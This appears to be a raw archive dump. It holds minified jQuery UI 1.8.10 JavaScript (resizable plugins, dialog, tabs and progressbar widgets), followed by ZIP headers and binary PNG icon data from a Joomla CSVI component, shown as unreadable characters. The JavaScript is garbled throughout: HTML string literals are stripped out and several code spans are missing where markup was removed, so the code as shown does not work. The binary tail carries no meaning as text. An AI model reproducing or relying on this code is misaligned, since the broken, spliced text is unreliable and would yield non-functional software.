height:i.height});a._updateCache(i);a._propagate("resize",b)}})}});e.ui.plugin.add("resizable","containment",{start:function(){var b=e(this).data("resizable"),a=b.element,c=b.options.containment;if(a=c instanceof e?c.get(0):/parent/.test(c)?a.parent().get(0):c){b.containerElement=e(a);if(/document/.test(c)||c==document){b.containerOffset={left:0,top:0};b.containerPosition={left:0,top:0};b.parentData={element:e(document),left:0,top:0,width:e(document).width(),height:e(document).height()||document.body.parentNode.scrollHeight}}else{var d= e(a),f=[];e(["Top","Right","Left","Bottom"]).each(function(i,j){f[i]=m(d.css("padding"+j))});b.containerOffset=d.offset();b.containerPosition=d.position();b.containerSize={height:d.innerHeight()-f[3],width:d.innerWidth()-f[1]};c=b.containerOffset;var g=b.containerSize.height,h=b.containerSize.width;h=e.ui.hasScroll(a,"left")?a.scrollWidth:h;g=e.ui.hasScroll(a)?a.scrollHeight:g;b.parentData={element:a,left:c.left,top:c.top,width:h,height:g}}}},resize:function(b){var a=e(this).data("resizable"),c=a.options, d=a.containerOffset,f=a.position;b=a._aspectRatio||b.shiftKey;var g={top:0,left:0},h=a.containerElement;if(h[0]!=document&&/static/.test(h.css("position")))g=d;if(f.left<(a._helper?d.left:0)){a.size.width+=a._helper?a.position.left-d.left:a.position.left-g.left;if(b)a.size.height=a.size.width/c.aspectRatio;a.position.left=c.helper?d.left:0}if(f.top<(a._helper?d.top:0)){a.size.height+=a._helper?a.position.top-d.top:a.position.top;if(b)a.size.width=a.size.height*c.aspectRatio;a.position.top=a._helper? d.top:0}a.offset.left=a.parentData.left+a.position.left;a.offset.top=a.parentData.top+a.position.top;c=Math.abs((a._helper?a.offset.left-g.left:a.offset.left-g.left)+a.sizeDiff.width);d=Math.abs((a._helper?a.offset.top-g.top:a.offset.top-d.top)+a.sizeDiff.height);f=a.containerElement.get(0)==a.element.parent().get(0);g=/relative|absolute/.test(a.containerElement.css("position"));if(f&&g)c-=a.parentData.left;if(c+a.size.width>=a.parentData.width){a.size.width=a.parentData.width-c;if(b)a.size.height= a.size.width/a.aspectRatio}if(d+a.size.height>=a.parentData.height){a.size.height=a.parentData.height-d;if(b)a.size.width=a.size.height*a.aspectRatio}},stop:function(){var b=e(this).data("resizable"),a=b.options,c=b.containerOffset,d=b.containerPosition,f=b.containerElement,g=e(b.helper),h=g.offset(),i=g.outerWidth()-b.sizeDiff.width;g=g.outerHeight()-b.sizeDiff.height;b._helper&&!a.animate&&/relative/.test(f.css("position"))&&e(this).css({left:h.left-d.left-c.left,width:i,height:g});b._helper&&!a.animate&& /static/.test(f.css("position"))&&e(this).css({left:h.left-d.left-c.left,width:i,height:g})}});e.ui.plugin.add("resizable","ghost",{start:function(){var b=e(this).data("resizable"),a=b.options,c=b.size;b.ghost=b.originalElement.clone();b.ghost.css({opacity:0.25,display:"block",position:"relative",height:c.height,width:c.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass(typeof a.ghost=="string"?a.ghost:"");b.ghost.appendTo(b.helper)},resize:function(){var b=e(this).data("resizable"); b.ghost&&b.ghost.css({position:"relative",height:b.size.height,width:b.size.width})},stop:function(){var b=e(this).data("resizable");b.ghost&&b.helper&&b.helper.get(0).removeChild(b.ghost.get(0))}});e.ui.plugin.add("resizable","grid",{resize:function(){var b=e(this).data("resizable"),a=b.options,c=b.size,d=b.originalSize,f=b.originalPosition,g=b.axis;a.grid=typeof a.grid=="number"?[a.grid,a.grid]:a.grid;var h=Math.round((c.width-d.width)/(a.grid[0]||1))*(a.grid[0]||1);a=Math.round((c.height-d.height)/ (a.grid[1]||1))*(a.grid[1]||1);if(/^(se|s|e)$/.test(g)){b.size.width=d.width+h;b.size.height=d.height+a}else if(/^(ne)$/.test(g)){b.size.width=d.width+h;b.size.height=d.height+a;b.position.top=f.top-a}else{if(/^(sw)$/.test(g)){b.size.width=d.width+h;b.size.height=d.height+a}else{b.size.width=d.width+h;b.size.height=d.height+a;b.position.top=f.top-a}b.position.left=f.left-h}}});var m=function(b){return parseInt(b,10)||0},l=function(b){return!isNaN(parseInt(b,10))}})(jQuery); ;/* * jQuery UI Dialog 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Dialog * * Depends: * jquery.ui.core.js * jquery.ui.widget.js * jquery.ui.button.js * jquery.ui.draggable.js * jquery.ui.mouse.js * jquery.ui.position.js * jquery.ui.resizable.js */ (function(c,j){var k={buttons:true,height:true,maxHeight:true,maxWidth:true,minHeight:true,minWidth:true,width:true},l={maxHeight:true,maxWidth:true,minHeight:true,minWidth:true};c.widget("ui.dialog",{options:{autoOpen:true,buttons:{},closeOnEscape:true,closeText:"close",dialogClass:"",draggable:true,hide:null,height:"auto",maxHeight:false,maxWidth:false,minHeight:150,minWidth:150,modal:false,position:{my:"center",at:"center",collision:"fit",using:function(a){var b=c(this).css(a).offset().top;b<0&& c(this).css("top",a.top-b)}},resizable:true,show:null,stack:true,title:"",width:300,zIndex:1E3},_create:function(){this.originalTitle=this.element.attr("title");if(typeof this.originalTitle!=="string")this.originalTitle="";this.options.title=this.options.title||this.originalTitle;var a=this,b=a.options,d=b.title||" ",e=c.ui.dialog.getTitleId(a.element),g=(a.uiDialog=c("
      ")).appendTo(document.body).hide().addClass("ui-dialog ui-widget ui-widget-content ui-corner-all "+b.dialogClass).css({zIndex:b.zIndex}).attr("tabIndex", -1).css("outline",0).keydown(function(i){if(b.closeOnEscape&&i.keyCode&&i.keyCode===c.ui.keyCode.ESCAPE){a.close(i);i.preventDefault()}}).attr({role:"dialog","aria-labelledby":e}).mousedown(function(i){a.moveToTop(false,i)});a.element.show().removeAttr("title").addClass("ui-dialog-content ui-widget-content").appendTo(g);var f=(a.uiDialogTitlebar=c("
      ")).addClass("ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix").prependTo(g),h=c('').addClass("ui-dialog-titlebar-close ui-corner-all").attr("role", "button").hover(function(){h.addClass("ui-state-hover")},function(){h.removeClass("ui-state-hover")}).focus(function(){h.addClass("ui-state-focus")}).blur(function(){h.removeClass("ui-state-focus")}).click(function(i){a.close(i);return false}).appendTo(f);(a.uiDialogTitlebarCloseText=c("")).addClass("ui-icon ui-icon-closethick").text(b.closeText).appendTo(h);c("").addClass("ui-dialog-title").attr("id",e).html(d).prependTo(f);if(c.isFunction(b.beforeclose)&&!c.isFunction(b.beforeClose))b.beforeClose= b.beforeclose;f.find("*").add(f).disableSelection();b.draggable&&c.fn.draggable&&a._makeDraggable();b.resizable&&c.fn.resizable&&a._makeResizable();a._createButtons(b.buttons);a._isOpen=false;c.fn.bgiframe&&g.bgiframe()},_init:function(){this.options.autoOpen&&this.open()},destroy:function(){var a=this;a.overlay&&a.overlay.destroy();a.uiDialog.hide();a.element.unbind(".dialog").removeData("dialog").removeClass("ui-dialog-content ui-widget-content").hide().appendTo("body");a.uiDialog.remove();a.originalTitle&& a.element.attr("title",a.originalTitle);return a},widget:function(){return this.uiDialog},close:function(a){var b=this,d,e;if(false!==b._trigger("beforeClose",a)){b.overlay&&b.overlay.destroy();b.uiDialog.unbind("keypress.ui-dialog");b._isOpen=false;if(b.options.hide)b.uiDialog.hide(b.options.hide,function(){b._trigger("close",a)});else{b.uiDialog.hide();b._trigger("close",a)}c.ui.dialog.overlay.resize();if(b.options.modal){d=0;c(".ui-dialog").each(function(){if(this!==b.uiDialog[0]){e=c(this).css("z-index"); isNaN(e)||(d=Math.max(d,e))}});c.ui.dialog.maxZ=d}return b}},isOpen:function(){return this._isOpen},moveToTop:function(a,b){var d=this,e=d.options;if(e.modal&&!a||!e.stack&&!e.modal)return d._trigger("focus",b);if(e.zIndex>c.ui.dialog.maxZ)c.ui.dialog.maxZ=e.zIndex;if(d.overlay){c.ui.dialog.maxZ+=1;d.overlay.$el.css("z-index",c.ui.dialog.overlay.maxZ=c.ui.dialog.maxZ)}a={scrollTop:d.element.attr("scrollTop"),scrollLeft:d.element.attr("scrollLeft")};c.ui.dialog.maxZ+=1;d.uiDialog.css("z-index",c.ui.dialog.maxZ); d.element.attr(a);d._trigger("focus",b);return d},open:function(){if(!this._isOpen){var a=this,b=a.options,d=a.uiDialog;a.overlay=b.modal?new c.ui.dialog.overlay(a):null;a._size();a._position(b.position);d.show(b.show);a.moveToTop(true);b.modal&&d.bind("keypress.ui-dialog",function(e){if(e.keyCode===c.ui.keyCode.TAB){var g=c(":tabbable",this),f=g.filter(":first");g=g.filter(":last");if(e.target===g[0]&&!e.shiftKey){f.focus(1);return false}else if(e.target===f[0]&&e.shiftKey){g.focus(1);return false}}}); c(a.element.find(":tabbable").get().concat(d.find(".ui-dialog-buttonpane :tabbable").get().concat(d.get()))).eq(0).focus();a._isOpen=true;a._trigger("open");return a}},_createButtons:function(a){var b=this,d=false,e=c("
      ").addClass("ui-dialog-buttonpane ui-widget-content ui-helper-clearfix"),g=c("
      ").addClass("ui-dialog-buttonset").appendTo(e);b.uiDialog.find(".ui-dialog-buttonpane").remove();typeof a==="object"&&a!==null&&c.each(a,function(){return!(d=true)});if(d){c.each(a,function(f, h){h=c.isFunction(h)?{click:h,text:f}:h;f=c('').attr(h,true).unbind("click").click(function(){h.click.apply(b.element[0],arguments)}).appendTo(g);c.fn.button&&f.button()});e.appendTo(b.uiDialog)}},_makeDraggable:function(){function a(f){return{position:f.position,offset:f.offset}}var b=this,d=b.options,e=c(document),g;b.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(f,h){g= d.height==="auto"?"auto":c(this).height();c(this).height(c(this).height()).addClass("ui-dialog-dragging");b._trigger("dragStart",f,a(h))},drag:function(f,h){b._trigger("drag",f,a(h))},stop:function(f,h){d.position=[h.position.left-e.scrollLeft(),h.position.top-e.scrollTop()];c(this).removeClass("ui-dialog-dragging").height(g);b._trigger("dragStop",f,a(h));c.ui.dialog.overlay.resize()}})},_makeResizable:function(a){function b(f){return{originalPosition:f.originalPosition,originalSize:f.originalSize, position:f.position,size:f.size}}a=a===j?this.options.resizable:a;var d=this,e=d.options,g=d.uiDialog.css("position");a=typeof a==="string"?a:"n,e,s,w,se,sw,ne,nw";d.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:d.element,maxWidth:e.maxWidth,maxHeight:e.maxHeight,minWidth:e.minWidth,minHeight:d._minHeight(),handles:a,start:function(f,h){c(this).addClass("ui-dialog-resizing");d._trigger("resizeStart",f,b(h))},resize:function(f,h){d._trigger("resize",f,b(h))},stop:function(f, h){c(this).removeClass("ui-dialog-resizing");e.height=c(this).height();e.width=c(this).width();d._trigger("resizeStop",f,b(h));c.ui.dialog.overlay.resize()}}).css("position",g).find(".ui-resizable-se").addClass("ui-icon ui-icon-grip-diagonal-se")},_minHeight:function(){var a=this.options;return a.height==="auto"?a.minHeight:Math.min(a.minHeight,a.height)},_position:function(a){var b=[],d=[0,0],e;if(a){if(typeof a==="string"||typeof a==="object"&&"0"in a){b=a.split?a.split(" "):[a[0],a[1]];if(b.length=== 1)b[1]=b[0];c.each(["left","top"],function(g,f){if(+b[g]===b[g]){d[g]=b[g];b[g]=f}});a={my:b.join(" "),at:b.join(" "),offset:d.join(" ")}}a=c.extend({},c.ui.dialog.prototype.options.position,a)}else a=c.ui.dialog.prototype.options.position;(e=this.uiDialog.is(":visible"))||this.uiDialog.show();this.uiDialog.css({top:0,left:0}).position(c.extend({of:window},a));e||this.uiDialog.hide()},_setOptions:function(a){var b=this,d={},e=false;c.each(a,function(g,f){b._setOption(g,f);if(g in k)e=true;if(g in l)d[g]=f});e&&this._size();this.uiDialog.is(":data(resizable)")&&this.uiDialog.resizable("option",d)},_setOption:function(a,b){var d=this,e=d.uiDialog;switch(a){case "beforeclose":a="beforeClose";break;case "buttons":d._createButtons(b);break;case "closeText":d.uiDialogTitlebarCloseText.text(""+b);break;case "dialogClass":e.removeClass(d.options.dialogClass).addClass("ui-dialog ui-widget ui-widget-content ui-corner-all "+b);break;case "disabled":b?e.addClass("ui-dialog-disabled"):e.removeClass("ui-dialog-disabled"); break;case "draggable":var g=e.is(":data(draggable)");g&&!b&&e.draggable("destroy");!g&&b&&d._makeDraggable();break;case "position":d._position(b);break;case "resizable":(g=e.is(":data(resizable)"))&&!b&&e.resizable("destroy");g&&typeof b==="string"&&e.resizable("option","handles",b);!g&&b!==false&&d._makeResizable(b);break;case "title":c(".ui-dialog-title",d.uiDialogTitlebar).html(""+(b||" "));break}c.Widget.prototype._setOption.apply(d,arguments)},_size:function(){var a=this.options,b,d,e= this.uiDialog.is(":visible");this.element.show().css({width:"auto",minHeight:0,height:0});if(a.minWidth>a.width)a.width=a.minWidth;b=this.uiDialog.css({height:"auto",width:a.width}).height();d=Math.max(0,a.minHeight-b);if(a.height==="auto")if(c.support.minHeight)this.element.css({minHeight:d,height:"auto"});else{this.uiDialog.show();a=this.element.css("height","auto").height();e||this.uiDialog.hide();this.element.height(Math.max(a,d))}else this.element.height(Math.max(a.height-b,0));this.uiDialog.is(":data(resizable)")&& this.uiDialog.resizable("option","minHeight",this._minHeight())}});c.extend(c.ui.dialog,{version:"1.8.10",uuid:0,maxZ:0,getTitleId:function(a){a=a.attr("id");if(!a){this.uuid+=1;a=this.uuid}return"ui-dialog-title-"+a},overlay:function(a){this.$el=c.ui.dialog.overlay.create(a)}});c.extend(c.ui.dialog.overlay,{instances:[],oldInstances:[],maxZ:0,events:c.map("focus,mousedown,mouseup,keydown,keypress,click".split(","),function(a){return a+".dialog-overlay"}).join(" "),create:function(a){if(this.instances.length=== 0){setTimeout(function(){c.ui.dialog.overlay.instances.length&&c(document).bind(c.ui.dialog.overlay.events,function(d){if(c(d.target).zIndex()").addClass("ui-widget-overlay")).appendTo(document.body).css({width:this.width(), height:this.height()});c.fn.bgiframe&&b.bgiframe();this.instances.push(b);return b},destroy:function(a){var b=c.inArray(a,this.instances);b!=-1&&this.oldInstances.push(this.instances.splice(b,1)[0]);this.instances.length===0&&c([document,window]).unbind(".dialog-overlay");a.remove();var d=0;c.each(this.instances,function(){d=Math.max(d,this.css("z-index"))});this.maxZ=d},height:function(){var a,b;if(c.browser.msie&&c.browser.version<7){a=Math.max(document.documentElement.scrollHeight,document.body.scrollHeight); b=Math.max(document.documentElement.offsetHeight,document.body.offsetHeight);return a",remove:null,select:null,show:null,spinner:"Loading…",tabTemplate:"
    • #{label}
    • "},_create:function(){this._tabify(true)},_setOption:function(b,e){if(b=="selected")this.options.collapsible&& e==this.options.selected||this.select(e);else{this.options[b]=e;this._tabify()}},_tabId:function(b){return b.title&&b.title.replace(/\s/g,"_").replace(/[^\w\u00c0-\uFFFF-]/g,"")||this.options.idPrefix+u()},_sanitizeSelector:function(b){return b.replace(/:/g,"\\:")},_cookie:function(){var b=this.cookie||(this.cookie=this.options.cookie.name||"ui-tabs-"+w());return d.cookie.apply(null,[b].concat(d.makeArray(arguments)))},_ui:function(b,e){return{tab:b,panel:e,index:this.anchors.index(b)}},_cleanup:function(){this.lis.filter(".ui-state-processing").removeClass("ui-state-processing").find("span:data(label.tabs)").each(function(){var b= d(this);b.html(b.data("label.tabs")).removeData("label.tabs")})},_tabify:function(b){function e(g,f){g.css("display","");!d.support.opacity&&f.opacity&&g[0].style.removeAttribute("filter")}var a=this,c=this.options,h=/^#.+/;this.list=this.element.find("ol,ul").eq(0);this.lis=d(" > li:has(a[href])",this.list);this.anchors=this.lis.map(function(){return d("a",this)[0]});this.panels=d([]);this.anchors.each(function(g,f){var i=d(f).attr("href"),l=i.split("#")[0],q;if(l&&(l===location.toString().split("#")[0]|| (q=d("base")[0])&&l===q.href)){i=f.hash;f.href=i}if(h.test(i))a.panels=a.panels.add(a.element.find(a._sanitizeSelector(i)));else if(i&&i!=="#"){d.data(f,"href.tabs",i);d.data(f,"load.tabs",i.replace(/#.*$/,""));i=a._tabId(f);f.href="#"+i;f=a.element.find("#"+i);if(!f.length){f=d(c.panelTemplate).attr("id",i).addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").insertAfter(a.panels[g-1]||a.list);f.data("destroy.tabs",true)}a.panels=a.panels.add(f)}else c.disabled.push(g)});if(b){this.element.addClass("ui-tabs ui-widget ui-widget-content ui-corner-all"); this.list.addClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.lis.addClass("ui-state-default ui-corner-top");this.panels.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom");if(c.selected===p){location.hash&&this.anchors.each(function(g,f){if(f.hash==location.hash){c.selected=g;return false}});if(typeof c.selected!=="number"&&c.cookie)c.selected=parseInt(a._cookie(),10);if(typeof c.selected!=="number"&&this.lis.filter(".ui-tabs-selected").length)c.selected= this.lis.index(this.lis.filter(".ui-tabs-selected"));c.selected=c.selected||(this.lis.length?0:-1)}else if(c.selected===null)c.selected=-1;c.selected=c.selected>=0&&this.anchors[c.selected]||c.selected<0?c.selected:0;c.disabled=d.unique(c.disabled.concat(d.map(this.lis.filter(".ui-state-disabled"),function(g){return a.lis.index(g)}))).sort();d.inArray(c.selected,c.disabled)!=-1&&c.disabled.splice(d.inArray(c.selected,c.disabled),1);this.panels.addClass("ui-tabs-hide");this.lis.removeClass("ui-tabs-selected ui-state-active"); if(c.selected>=0&&this.anchors.length){a.element.find(a._sanitizeSelector(a.anchors[c.selected].hash)).removeClass("ui-tabs-hide");this.lis.eq(c.selected).addClass("ui-tabs-selected ui-state-active");a.element.queue("tabs",function(){a._trigger("show",null,a._ui(a.anchors[c.selected],a.element.find(a._sanitizeSelector(a.anchors[c.selected].hash))[0]))});this.load(c.selected)}d(window).bind("unload",function(){a.lis.add(a.anchors).unbind(".tabs");a.lis=a.anchors=a.panels=null})}else c.selected=this.lis.index(this.lis.filter(".ui-tabs-selected")); this.element[c.collapsible?"addClass":"removeClass"]("ui-tabs-collapsible");c.cookie&&this._cookie(c.selected,c.cookie);b=0;for(var j;j=this.lis[b];b++)d(j)[d.inArray(b,c.disabled)!=-1&&!d(j).hasClass("ui-tabs-selected")?"addClass":"removeClass"]("ui-state-disabled");c.cache===false&&this.anchors.removeData("cache.tabs");this.lis.add(this.anchors).unbind(".tabs");if(c.event!=="mouseover"){var k=function(g,f){f.is(":not(.ui-state-disabled)")&&f.addClass("ui-state-"+g)},n=function(g,f){f.removeClass("ui-state-"+ g)};this.lis.bind("mouseover.tabs",function(){k("hover",d(this))});this.lis.bind("mouseout.tabs",function(){n("hover",d(this))});this.anchors.bind("focus.tabs",function(){k("focus",d(this).closest("li"))});this.anchors.bind("blur.tabs",function(){n("focus",d(this).closest("li"))})}var m,o;if(c.fx)if(d.isArray(c.fx)){m=c.fx[0];o=c.fx[1]}else m=o=c.fx;var r=o?function(g,f){d(g).closest("li").addClass("ui-tabs-selected ui-state-active");f.hide().removeClass("ui-tabs-hide").animate(o,o.duration||"normal", function(){e(f,o);a._trigger("show",null,a._ui(g,f[0]))})}:function(g,f){d(g).closest("li").addClass("ui-tabs-selected ui-state-active");f.removeClass("ui-tabs-hide");a._trigger("show",null,a._ui(g,f[0]))},s=m?function(g,f){f.animate(m,m.duration||"normal",function(){a.lis.removeClass("ui-tabs-selected ui-state-active");f.addClass("ui-tabs-hide");e(f,m);a.element.dequeue("tabs")})}:function(g,f){a.lis.removeClass("ui-tabs-selected ui-state-active");f.addClass("ui-tabs-hide");a.element.dequeue("tabs")}; this.anchors.bind(c.event+".tabs",function(){var g=this,f=d(g).closest("li"),i=a.panels.filter(":not(.ui-tabs-hide)"),l=a.element.find(a._sanitizeSelector(g.hash));if(f.hasClass("ui-tabs-selected")&&!c.collapsible||f.hasClass("ui-state-disabled")||f.hasClass("ui-state-processing")||a.panels.filter(":animated").length||a._trigger("select",null,a._ui(this,l[0]))===false){this.blur();return false}c.selected=a.anchors.index(this);a.abort();if(c.collapsible)if(f.hasClass("ui-tabs-selected")){c.selected= -1;c.cookie&&a._cookie(c.selected,c.cookie);a.element.queue("tabs",function(){s(g,i)}).dequeue("tabs");this.blur();return false}else if(!i.length){c.cookie&&a._cookie(c.selected,c.cookie);a.element.queue("tabs",function(){r(g,l)});a.load(a.anchors.index(this));this.blur();return false}c.cookie&&a._cookie(c.selected,c.cookie);if(l.length){i.length&&a.element.queue("tabs",function(){s(g,i)});a.element.queue("tabs",function(){r(g,l)});a.load(a.anchors.index(this))}else throw"jQuery UI Tabs: Mismatching fragment identifier."; d.browser.msie&&this.blur()});this.anchors.bind("click.tabs",function(){return false})},_getIndex:function(b){if(typeof b=="string")b=this.anchors.index(this.anchors.filter("[href$="+b+"]"));return b},destroy:function(){var b=this.options;this.abort();this.element.unbind(".tabs").removeClass("ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible").removeData("tabs");this.list.removeClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.anchors.each(function(){var e= d.data(this,"href.tabs");if(e)this.href=e;var a=d(this).unbind(".tabs");d.each(["href","load","cache"],function(c,h){a.removeData(h+".tabs")})});this.lis.unbind(".tabs").add(this.panels).each(function(){d.data(this,"destroy.tabs")?d(this).remove():d(this).removeClass("ui-state-default ui-corner-top ui-tabs-selected ui-state-active ui-state-hover ui-state-focus ui-state-disabled ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide")});b.cookie&&this._cookie(null,b.cookie);return this},add:function(b, e,a){if(a===p)a=this.anchors.length;var c=this,h=this.options;e=d(h.tabTemplate.replace(/#\{href\}/g,b).replace(/#\{label\}/g,e));b=!b.indexOf("#")?b.replace("#",""):this._tabId(d("a",e)[0]);e.addClass("ui-state-default ui-corner-top").data("destroy.tabs",true);var j=c.element.find("#"+b);j.length||(j=d(h.panelTemplate).attr("id",b).data("destroy.tabs",true));j.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide");if(a>=this.lis.length){e.appendTo(this.list);j.appendTo(this.list[0].parentNode)}else{e.insertBefore(this.lis[a]); j.insertBefore(this.panels[a])}h.disabled=d.map(h.disabled,function(k){return k>=a?++k:k});this._tabify();if(this.anchors.length==1){h.selected=0;e.addClass("ui-tabs-selected ui-state-active");j.removeClass("ui-tabs-hide");this.element.queue("tabs",function(){c._trigger("show",null,c._ui(c.anchors[0],c.panels[0]))});this.load(0)}this._trigger("add",null,this._ui(this.anchors[a],this.panels[a]));return this},remove:function(b){b=this._getIndex(b);var e=this.options,a=this.lis.eq(b).remove(),c=this.panels.eq(b).remove(); if(a.hasClass("ui-tabs-selected")&&this.anchors.length>1)this.select(b+(b+1=b?--h:h});this._tabify();this._trigger("remove",null,this._ui(a.find("a")[0],c[0]));return this},enable:function(b){b=this._getIndex(b);var e=this.options;if(d.inArray(b,e.disabled)!=-1){this.lis.eq(b).removeClass("ui-state-disabled");e.disabled=d.grep(e.disabled,function(a){return a!=b});this._trigger("enable",null, this._ui(this.anchors[b],this.panels[b]));return this}},disable:function(b){b=this._getIndex(b);var e=this.options;if(b!=e.selected){this.lis.eq(b).addClass("ui-state-disabled");e.disabled.push(b);e.disabled.sort();this._trigger("disable",null,this._ui(this.anchors[b],this.panels[b]))}return this},select:function(b){b=this._getIndex(b);if(b==-1)if(this.options.collapsible&&this.options.selected!=-1)b=this.options.selected;else return this;this.anchors.eq(b).trigger(this.options.event+".tabs");return this}, load:function(b){b=this._getIndex(b);var e=this,a=this.options,c=this.anchors.eq(b)[0],h=d.data(c,"load.tabs");this.abort();if(!h||this.element.queue("tabs").length!==0&&d.data(c,"cache.tabs"))this.element.dequeue("tabs");else{this.lis.eq(b).addClass("ui-state-processing");if(a.spinner){var j=d("span",c);j.data("label.tabs",j.html()).html(a.spinner)}this.xhr=d.ajax(d.extend({},a.ajaxOptions,{url:h,success:function(k,n){e.element.find(e._sanitizeSelector(c.hash)).html(k);e._cleanup();a.cache&&d.data(c, "cache.tabs",true);e._trigger("load",null,e._ui(e.anchors[b],e.panels[b]));try{a.ajaxOptions.success(k,n)}catch(m){}},error:function(k,n){e._cleanup();e._trigger("load",null,e._ui(e.anchors[b],e.panels[b]));try{a.ajaxOptions.error(k,n,b,c)}catch(m){}}}));e.element.dequeue("tabs");return this}},abort:function(){this.element.queue([]);this.panels.stop(false,true);this.element.queue("tabs",this.element.queue("tabs").splice(-2,2));if(this.xhr){this.xhr.abort();delete this.xhr}this._cleanup();return this}, url:function(b,e){this.anchors.eq(b).removeData("cache.tabs").data("load.tabs",e);return this},length:function(){return this.anchors.length}});d.extend(d.ui.tabs,{version:"1.8.10"});d.extend(d.ui.tabs.prototype,{rotation:null,rotate:function(b,e){var a=this,c=this.options,h=a._rotate||(a._rotate=function(j){clearTimeout(a.rotation);a.rotation=setTimeout(function(){var k=c.selected;a.select(++k").appendTo(this.element);this.oldValue=this._value();this._refreshValue()},destroy:function(){this.element.removeClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"); this.valueDiv.remove();b.Widget.prototype.destroy.apply(this,arguments)},value:function(a){if(a===d)return this._value();this._setOption("value",a);return this},_setOption:function(a,c){if(a==="value"){this.options.value=c;this._refreshValue();this._value()===this.options.max&&this._trigger("complete")}b.Widget.prototype._setOption.apply(this,arguments)},_value:function(){var a=this.options.value;if(typeof a!=="number")a=0;return Math.min(this.options.max,Math.max(this.min,a))},_percentage:function(){return 100* this._value()/this.options.max},_refreshValue:function(){var a=this.value(),c=this._percentage();if(this.oldValue!==a){this.oldValue=a;this._trigger("change")}this.valueDiv.toggleClass("ui-corner-right",a===this.options.max).width(c.toFixed(0)+"%");this.element.attr("aria-valuenow",a)}});b.extend(b.ui.progressbar,{version:"1.8.10"})})(jQuery); ;PKs>\ZZ.com_csvi/assets/images/csvi_log_details_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<%PLTEQssㅞݘzÙ4^rĚ`掤3a\[z핹њâխЫjhr[ZꈷとgݼvGjзimMs埱ŲDtɪ愣뛽y꘶͝㣸̡,XQtRNS~IDATxb[D\Al 6T˴o*6&VVV&R6@fԻ%xRD8YxTE2dH XΒ՟o%o N]J3B3$}:CsQ~rp؄ F%Y'nՙPʡ+f,_ǰ8۝bz,,c kfJMg=6v ^L& t,?73 2'T7qk1Oׅxn6pg8żJ Z2{QIENDB`PKs>\Cb$$(com_csvi/assets/images/csvi_clone_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<PLTE㡵Ȝ󋣼Ҩ蠵ۢam}bj|ȥnӅΚҐrud񊢻䥽Гϳۢ޸㌧䓲˫嗬숡}Զ薲ɵXtRNS*=lIDATxbXR D u@l vW4 aV \Ĕ8(o.vn" \:rpp{jY2DKr/j3`P?+?؂/`nJ rŋuK@{I"CVPr PgHȜuSc&8v U/c 9 6@İJM|XIl E9ٳ}8U"3RTSSV8U9,1/  ;/PTIENDB`PKs>\|w w &com_csvi/assets/images/csvi_new_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE3bHk:kㇴ3\ݝ-Y蓭Ar=oIrFyRvڢ:a[z8e8g@f/\ibNpTt+WݻuTxb:9tRNSS%IDATx| \e_`r  BM(h*W0A@AB3 jta8qP&&tRxnܨg{>yy^df9!L򕤤Ȳ#%dtXYޓXLO"i8qާX$ϹWQѮ)G !C 3se3݈+S"ZSOBђ6.UN@vOZ"e(4Px"V#P9E@-ȧQT\ihp~7vX,z*dA{<ͶSqO45/|Y:!0x}}5suwC~<2+dYutvtvvtc:xhD%*#iv6B`kk i<~0#(*lʳxRf:yg3N}.>88.SbGĬ[7^\R<bPA ThrƢ ::&&B[2^ 2%‰4({|.llܹQQyZZiK` SA-3iQtjp+(aNKB0|2ؽ>;wW?Nw=#fPV(y萣cFn:JW]HpܶW، m,=@2˪7TWm42vK(LF4B⌌,--=ďH!o%BQܦMBB6 .N͓RF$qAgw - zmzjY3 5,+34Z^9)bKlmv6P$ns|$,7$#:ny{Z;̣ofbe:ÁuÄWzzz~ڻwQM]uPzɰ.hbBa9+RZu %hUMz:5uoҚD;nYj^e("zDeb0uM*Et5$Vn98VvX|zQ{\ B!+ltYYyu sDAUcAT({ /'T%8 aJ469C.I{ Lhh_uIENDB`PKs>\%)com_csvi/assets/images/csvi_import_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE㏥M|dkR,YBj䊺t]3]۠肙ㄴGzLoUuEy@sDxݻ8h}{퉟־`~o>nBf_џ4b]|Iv{EqЃFxR+]'O8qOr;QDWsI:p0iҒSKw*X;}ϟ7TAUUcccd,6`+=%'Hrs{nnQ*6̝LAa.;mab\I e I[ k3}បۨvIJrldʭ\a 'com_csvi/assets/images/csvi_cron_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE7Sl*2ヨĢk|̚+BN<==LLL555 2;$~&:EDDE$%&q]-FRn-..!"uTTTi%,㒸JkZu#6@2D09z&'(.HW'=H'()(=I,`$?Sh ({#*~ƥ铵νMt\wbjAcۭ䀰Ϟ2.tRNSfY*IDATxڄ \SUE84MaZE2.@S@bf"% `5|ڤ2/{?wL|v;ιqY*yi{rC51zOao$CLLTLX7sptH+81,4tƿv7ADEN3Q{CxXT|Ppw'xbcqcc|(R!YMŹ !v&$B@ \Jqy W|p".sjuCCg9q;&ƹLpC~F{|2,܇jπc{6wj**Z<[oHJ=so!_r,$HGBQ7{* $iE='a8 / /#.81BL?KKwJiT =21A45 ܂qaS2ZȄ"ޤ=!cz RҢ ̲Ҳ YCZ- X} KЁ20>N17M9UѧՖuμC֟yu" B(*ʾtzLz:|_}k7ϼiImq>;=f|U:,_V'm]q3\#ZH2`%dl_yW 